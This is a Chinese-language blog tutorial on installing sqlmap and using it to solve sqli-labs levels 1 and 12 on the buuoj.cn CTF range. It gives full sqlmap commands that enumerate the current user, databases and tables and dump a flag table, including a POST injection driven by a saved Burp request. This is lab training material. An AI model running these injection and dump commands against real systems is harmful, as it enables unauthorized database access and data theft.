相关推荐recommended
【史上最全sqlmap通关sqli-labs靶场教程】
作者:mmseoamin日期:2024-01-19

下载sqlmap地址:sqlmap: automatic SQL injection and database takeover tool

下载完成后解压在C盘或者D盘都行,自己别忘了就可以

【史上最全sqlmap通关sqli-labs靶场教程】,第1张

解压后在目标文件夹下打开cmd,运行python sqlmap.py -h

运行后出现sqlmap的说明,表示安装成功

【史上最全sqlmap通关sqli-labs靶场教程】,第2张

【史上最全sqlmap通关sqli-labs靶场教程】,第3张

(这里补充一下,-h其实不是完成的说明,-hh可以获得更多说明,)

【史上最全sqlmap通关sqli-labs靶场教程】,第4张

如果不在sqlmap的本目录下执行python sqlmap.py -h,这样是执行不成功的
怎么样才能快速的打开cmd窗口就能用sqlmap呢?
把sqlmap添加至环境变量

【史上最全sqlmap通关sqli-labs靶场教程】,第5张

如果想运行sqlmap的时候起前面不加python,还要再加个变量
PATHEXT变量名里面添加:.PY;
添加完成后,关闭cmd窗口重新打开一个,输入sqlmap -h出现说明,表示成功

【史上最全sqlmap通关sqli-labs靶场教程】,第6张

【史上最全sqlmap通关sqli-labs靶场教程】,第7张

【史上最全sqlmap通关sqli-labs靶场教程】,第8张

接下来开靶场进行实验:

https://buuoj.cn/

【史上最全sqlmap通关sqli-labs靶场教程】,第9张

复制靶机地址到cmd窗口:
-u 执行url      ?id=1 指定传参点

【史上最全sqlmap通关sqli-labs靶场教程】,第10张

第一次运行时,会询问注入探测等级和风险等级:-level   -risk
一般选择默认即可,继续输入:Y

【史上最全sqlmap通关sqli-labs靶场教程】,第11张

再次询问:GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
GET参数“id”易受攻击。你想继续测试其他的(如果有的话)吗?[y / N]
这次输入:n

【史上最全sqlmap通关sqli-labs靶场教程】,第12张

注入完成后,可以看到执行的注入类型以及payload有:布尔盲注、报错注入、时间盲注、union注入
最后还做了一个备份,复制打开地址
Log文件就是记录了有哪些注入漏洞

【史上最全sqlmap通关sqli-labs靶场教程】,第13张

【史上最全sqlmap通关sqli-labs靶场教程】,第14张

【史上最全sqlmap通关sqli-labs靶场教程】,第15张

下面进行获取flag操作:
获取用户:root@localhost
sqlmap -u "http://fb693e0a-133c-46d5-9b16-47a5595a40a5.node4.buuoj.cn/Less-1/?id=1" --current-user

【史上最全sqlmap通关sqli-labs靶场教程】,第16张

获取数据库:ctftraining
sqlmap -u "http://fb693e0a-133c-46d5-9b16-47a5595a40a5.node4.buuoj.cn/Less-1/?id=1" --dbs

【史上最全sqlmap通关sqli-labs靶场教程】,第17张

获取表:flag、news、users
sqlmap -u "http://fb693e0a-133c-46d5-9b16-47a5595a40a5.node4.buuoj.cn/Less-1/?id=1" -D ctftraining --tables
-D指定数据库的范围,只注入ctftraining 这个库,注出来有哪些表

【史上最全sqlmap通关sqli-labs靶场教程】,第18张

获取flag:flag{b76e1d78-cbcd-4a24-88b8-84e895acb7d1}
sqlmap -u "http://8f6332d9-5ca6-406f-a4ad-db0bdb660ad5.node4.buuoj.cn/Less-1/?id=1"  -D ctftraining -T flag --dump

【史上最全sqlmap通关sqli-labs靶场教程】,第19张

尝试post型注入:Less-12

使用BP抓包获取post报文,保存在txt文件里
-r代表文档,文档内容就是你的post报文 --batch 自动选择yes
sqlmap -r post_sqlmap.txt --batch -dbs
获取到我们熟知的关键数据库:ctftraining

【史上最全sqlmap通关sqli-labs靶场教程】,第20张

【史上最全sqlmap通关sqli-labs靶场教程】,第21张

【史上最全sqlmap通关sqli-labs靶场教程】,第22张

获取表:flag、news、users
sqlmap -r post_sqlmap.txt --batch -D ctftraining --tables

【史上最全sqlmap通关sqli-labs靶场教程】,第23张

获取flag:flag{b76e1d78-cbcd-4a24-88b8-84e895acb7d1}
sqlmap -r post_sqlmap.txt --batch -D ctftraining -T flag --dump

【史上最全sqlmap通关sqli-labs靶场教程】,第24张

至此结束!

关注我,随时留言交流~